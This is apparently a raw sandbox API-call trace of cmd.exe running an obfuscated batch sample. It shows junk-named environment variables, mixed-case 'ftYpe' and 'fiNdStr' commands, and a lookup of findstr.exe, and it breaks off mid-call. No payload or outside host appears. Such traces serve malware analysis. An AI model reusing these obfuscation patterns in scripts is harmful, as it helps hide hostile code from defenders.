[0102.907] _wcsnicmp (_String1="COPYCMD", _String2="#-=set ", _MaxCount=0x7) returned 64 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="#;=seGC", _MaxCount=0x7) returned 64 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="$'=seGC", _MaxCount=0x7) returned 63 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="$+=seGC", _MaxCount=0x7) returned 63 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="$_'}=se", _MaxCount=0x7) returned 63 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="',`+=se", _MaxCount=0x7) returned 60 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="']=set ", _MaxCount=0x7) returned 60 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="'`#=set", _MaxCount=0x7) returned 60 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="'{=seGC", _MaxCount=0x7) returned 60 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="'}_-=se", _MaxCount=0x7) returned 60 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="*.@=set", _MaxCount=0x7) returned 57 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="*[-,=se", _MaxCount=0x7) returned 57 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="*{[=seG", _MaxCount=0x7) returned 57 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="*}=set ", _MaxCount=0x7) returned 57 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="+,\\=set", _MaxCount=0x7) returned 56 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="+.@#=se", _MaxCount=0x7) returned 56 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="+?.,=se", _MaxCount=0x7) returned 56 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="+~}{=eo", _MaxCount=0x7) returned 56 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=",@$[=se", _MaxCount=0x7) returned 55 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=",_}~=se", _MaxCount=0x7) returned 55 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=",`=set ", _MaxCount=0x7) returned 55 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="-}=set ", _MaxCount=0x7) returned 54 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2="-}#=seG", _MaxCount=0x7) returned 54 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=".$+=set", _MaxCount=0x7) returned 53 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=".*#=set", _MaxCount=0x7) returned 53 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=".,`_=se", _MaxCount=0x7) returned 53 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=".;?=set", _MaxCount=0x7) returned 53 [0102.907] _wcsnicmp (_String1="COPYCMD", _String2=".@_#=se", _MaxCount=0x7) returned 53 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2=";.+=set", _MaxCount=0x7) returned 40 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2=";]=seGC", _MaxCount=0x7) returned 40 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2=";`}~=se", _MaxCount=0x7) returned 40 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="?$_=set", _MaxCount=0x7) returned 36 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="@#?.=se", _MaxCount=0x7) returned 35 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="@+*=s8P", _MaxCount=0x7) returned 35 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="@-=seGC", _MaxCount=0x7) returned 35 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="@;?#=se", _MaxCount=0x7) returned 35 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="@[~=s8P", _MaxCount=0x7) returned 35 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.908] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="[$#?=se", _MaxCount=0x7) returned 8 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="[$@+=se", _MaxCount=0x7) returned 8 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="[_=set ", _MaxCount=0x7) returned 8 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="[{=seGC", _MaxCount=0x7) returned 8 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="\\#=set ", _MaxCount=0x7) returned 7 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="\\,=set ", _MaxCount=0x7) returned 7 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="\\,}_=eo", _MaxCount=0x7) returned 7 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="\\[=seGC", _MaxCount=0x7) returned 7 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="\\[,#=se", _MaxCount=0x7) returned 7 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="\\{=seGC", _MaxCount=0x7) returned 7 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="]#=set ", _MaxCount=0x7) returned 6 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="]$*{=se", _MaxCount=0x7) returned 6 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="_'*{=se", _MaxCount=0x7) returned 4 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="_@.-=se", _MaxCount=0x7) returned 4 [0102.909] _wcsnicmp (_String1="COPYCMD", _String2="_`@#=se", _MaxCount=0x7) returned 4 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`-$=seG", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`._=set", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`?=s8PG", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`[+=set", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`\\+=seG", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`]$=seG", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="`}$@=se", _MaxCount=0x7) returned 3 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="{$_=set", _MaxCount=0x7) returned -24 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="{'`#=se", _MaxCount=0x7) returned -24 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="{,.=set", _MaxCount=0x7) returned -24 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="{;=set ", _MaxCount=0x7) returned -24 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="{@}=seG", _MaxCount=0x7) returned -24 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="}$]?=se", _MaxCount=0x7) returned -26 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="}\\=set ", _MaxCount=0x7) returned -26 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="}\\?=set", _MaxCount=0x7) returned -26 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="}],$=se", _MaxCount=0x7) returned -26 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="}{=set ", _MaxCount=0x7) returned -26 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="~\\=set ", _MaxCount=0x7) returned -27 [0102.910] _wcsnicmp (_String1="COPYCMD", _String2="~`*?=se", _MaxCount=0x7) returned -27 [0102.910] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0102.912] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x14f670*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f620 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"", lpProcessInformation=0x14f620*(hProcess=0x64, hThread=0x58, dwProcessId=0xb2c, dwThreadId=0xb30)) returned 1 [0102.921] CloseHandle (hObject=0x58) returned 1 [0102.921] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0102.921] GetEnvironmentStringsW () returned 0x1eb4d50* [0102.922] FreeEnvironmentStringsW (penv=0x1eb4d50) returned 1 [0102.922] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f638 | out: lpAttributeList=0x14f638) [0102.922] _get_osfhandle (_FileHandle=3) returned 0x54 [0102.922] DuplicateHandle (in: hSourceProcessHandle=0x64, hSourceHandle=0x54, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0102.922] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0102.922] _close (_FileHandle=5) returned 0 [0102.922] _dup (_FileHandle=0) returned 4 [0102.922] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0102.923] _close (_FileHandle=3) returned 0 [0102.923] _wcsicmp (_String1="fiNdStr", _String2="DIR") returned 2 [0102.923] _wcsicmp (_String1="fiNdStr", _String2="ERASE") returned 1 [0102.923] _wcsicmp (_String1="fiNdStr", _String2="DEL") returned 2 [0102.923] _wcsicmp (_String1="fiNdStr", _String2="TYPE") returned -14 [0102.923] _wcsicmp (_String1="fiNdStr", _String2="COPY") returned 3 [0102.923] _wcsicmp (_String1="fiNdStr", _String2="CD") returned 3 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="CHDIR") returned 3 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="RENAME") returned -12 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="REN") returned -12 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="ECHO") returned 1 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="SET") returned -13 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="PAUSE") returned -10 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="DATE") returned 2 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="TIME") returned -14 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="PROMPT") returned -10 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="MD") returned -7 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="MKDIR") returned -7 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="RD") returned -12 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="RMDIR") returned -12 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="PATH") returned -10 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="GOTO") returned -1 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="SHIFT") returned -13 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="CLS") returned 3 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="CALL") returned 3 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="VERIFY") returned -16 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="VER") returned -16 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="VOL") returned -16 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="EXIT") returned 1 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="SETLOCAL") returned -13 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="ENDLOCAL") returned 1 [0102.924] _wcsicmp (_String1="fiNdStr", _String2="TITLE") returned -14 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="START") returned -13 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="DPATH") returned 2 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="KEYS") returned -5 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="MOVE") returned -7 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="PUSHD") returned -10 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="POPD") returned -10 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="ASSOC") returned 5 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="FTYPE") returned -11 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="BREAK") returned 4 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="COLOR") returned 3 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="MKLINK") returned -7 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="DIR") returned 2 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="ERASE") returned 1 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="DEL") returned 2 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="TYPE") returned -14 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="COPY") returned 3 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="CD") returned 3 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="CHDIR") returned 3 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="RENAME") returned -12 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="REN") returned -12 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="ECHO") returned 1 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="SET") returned -13 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="PAUSE") returned -10 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="DATE") returned 2 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="TIME") returned -14 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="PROMPT") returned -10 [0102.925] _wcsicmp (_String1="fiNdStr", _String2="MD") returned -7 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="MKDIR") returned -7 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="RD") returned -12 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="RMDIR") returned -12 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="PATH") returned -10 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="GOTO") returned -1 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="SHIFT") returned -13 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="CLS") returned 3 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="CALL") returned 3 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="VERIFY") returned -16 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="VER") returned -16 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="VOL") returned -16 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="EXIT") returned 1 [0102.926] _wcsicmp (_String1="fiNdStr", _String2="SETLOCAL") returned -13 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="ENDLOCAL") returned 1 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="TITLE") returned -14 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="START") returned -13 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="DPATH") returned 2 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="KEYS") returned -5 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="MOVE") returned -7 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="PUSHD") returned -10 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="POPD") returned -10 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="ASSOC") returned 5 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="FTYPE") returned -11 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="BREAK") returned 4 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="COLOR") returned 3 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="MKLINK") returned -7 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="FOR") returned -6 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="IF") returned -3 [0102.927] _wcsicmp (_String1="fiNdStr", _String2="REM") returned -12 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="DIR") returned 2 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="ERASE") returned 1 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="DEL") returned 2 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="TYPE") returned -14 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="COPY") returned 3 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="CD") returned 3 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="CHDIR") returned 3 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="RENAME") returned -12 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="REN") returned -12 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="ECHO") returned 1 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="SET") returned -13 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="PAUSE") returned -10 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="DATE") returned 2 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="TIME") returned -14 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="PROMPT") returned -10 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="MD") returned -7 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="MKDIR") returned -7 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="RD") returned -12 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="RMDIR") returned -12 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="PATH") returned -10 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="GOTO") returned -1 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="SHIFT") returned -13 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="CLS") returned 3 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="CALL") returned 3 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="VERIFY") returned -16 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="VER") returned -16 [0102.928] _wcsicmp (_String1="fiNdStr", _String2="VOL") returned -16 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="EXIT") returned 1 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="SETLOCAL") returned -13 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="ENDLOCAL") returned 1 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="TITLE") returned -14 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="START") returned -13 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="DPATH") returned 2 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="KEYS") returned -5 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="MOVE") returned -7 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="PUSHD") returned -10 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="POPD") returned -10 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="ASSOC") returned 5 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="FTYPE") returned -11 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="BREAK") returned 4 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="COLOR") returned 3 [0102.929] _wcsicmp (_String1="fiNdStr", _String2="MKLINK") returned -7 [0102.929] _wcsnicmp (_String1="fiNd", _String2="cmd ", _MaxCount=0x4) returned 3 [0102.929] SetErrorMode (uMode=0x0) returned 0x8001 [0102.929] SetErrorMode (uMode=0x1) returned 0x0 [0102.929] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2bd390, lpFilePart=0x14f830 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f830*="Desktop") returned 0x19 [0102.930] SetErrorMode (uMode=0x8001) returned 0x1 [0102.930] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0102.930] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.933] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.933] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.933] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fiNdStr.*", fInfoLevelId=0x1, lpFindFileData=0x14f5a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f5a0) returned 0xffffffffffffffff [0102.933] GetLastError () returned 0x2 [0102.933] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fiNdStr", fInfoLevelId=0x1, lpFindFileData=0x14f5a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f5a0) returned 0xffffffffffffffff [0102.934] GetLastError () returned 0x2 [0102.934] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.980] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\fiNdStr.*", fInfoLevelId=0x1, lpFindFileData=0x14f5a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f5a0) returned 0x1eb4ac0 [0102.980] FindClose (in: hFindFile=0x1eb4ac0 | out: hFindFile=0x1eb4ac0) returned 1 [0102.980] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\findstr.COM", fInfoLevelId=0x1, lpFindFileData=0x14f5a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f5a0) returned 0xffffffffffffffff [0102.980] GetLastError () returned 0x2 [0102.980] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\findstr.EXE", fInfoLevelId=0x1, lpFindFileData=0x14f5a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f5a0) returned 0x1eb4ac0 [0102.981] FindClose (in: hFindFile=0x1eb4ac0 | out: hFindFile=0x1eb4ac0) returned 1 [0102.981] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0102.981] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0102.981] SetErrorMode (uMode=0x0) returned 0x8001 [0102.981] SetErrorMode (uMode=0x1) returned 0x0 [0102.981] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2bd920, lpFilePart=0x14f5c0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f5c0*="Desktop") returned 0x19 [0102.981] SetErrorMode (uMode=0x8001) returned 0x1 [0102.981] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0102.981] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.982] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.982] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.982] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fiNdStr.*", fInfoLevelId=0x1, lpFindFileData=0x14f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f330) returned 0xffffffffffffffff [0102.982] GetLastError () returned 0x2 [0102.982] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fiNdStr", fInfoLevelId=0x1, lpFindFileData=0x14f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f330) returned 0xffffffffffffffff [0102.982] GetLastError () returned 0x2 [0102.982] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.982] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\fiNdStr.*", fInfoLevelId=0x1, lpFindFileData=0x14f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f330) returned 0x1eb4ac0 [0102.983] FindClose (in: hFindFile=0x1eb4ac0 | out: hFindFile=0x1eb4ac0) returned 1 [0102.983] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\findstr.COM", fInfoLevelId=0x1, lpFindFileData=0x14f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f330) returned 0xffffffffffffffff [0102.983] GetLastError () returned 0x2 [0102.983] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\findstr.EXE", fInfoLevelId=0x1, lpFindFileData=0x14f330, 